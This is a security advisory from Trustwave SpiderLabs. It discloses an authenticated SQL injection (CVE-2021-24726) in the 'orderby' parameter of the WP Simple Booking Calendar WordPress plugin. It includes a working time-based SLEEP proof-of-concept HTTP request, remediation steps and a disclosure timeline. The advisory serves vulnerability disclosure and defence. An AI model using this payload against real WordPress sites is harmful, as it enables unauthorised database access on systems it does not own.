Trustwave SpiderLabs Security Advisory TWSL2021-014: Authenticated SQL Injection in WordPress Plugin WP Simple Booking Calendar Published: 09/10/2021 Version: 1.1 Vendor: Veribo, Roland Murg (https://www.wpsimplebookingcalendar.com/) Product: WordPress Plugin WP Simple Booking Calendar Version affected: <= 2.0.6 ( before 07/12/2021) Product description: The plugin provides calendar functionality including item availability by date. Finding 1: Authenticated SQL Injection *****Credit: Martin Vierula of Trustwave CVE: CVE-2021-24726 CWE: CWE-89 In the 'Search Calendars' action, the 'orderby' parameter is vulnerable to authenticated (admin+) SQL injection. The following PoC outlines a time-based version of exploiting the vulnerability in the 'orderby' parameter: GET /wp/wp-admin/admin.php?page=wpsbc-calendars&paged=1&s=MyCal&orderby=name,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%286%29%29%29a%29&paged=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp/wp-admin/admin.php?page=wpsbc-calendars Connection: keep-alive Cookie: Upgrade-Insecure-Requests: 1 Change the number of seconds of SLEEP from '6' and observe the change in response time. Note that the _wpnonce query argument that is included when submitting a search via the browser is not required to submit the above request. Remediation Steps: Upgrade the WordPress Plugin Simple Booking Calendar to version 2.0.6 (07/12/2021) or the latest stable version. Revision History: 06/21/2021 - Disclosed finding to vendor 07/12/2021 - Vendor releases fix 08/06/2021 - Advisory verson 1.0 published 09/10/2021 - CVE assigned 09/10/2021 - Advisory version 1.1 published References 1. https://wordpress.org/plugins/wp-simple-booking-calendar/#developers About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.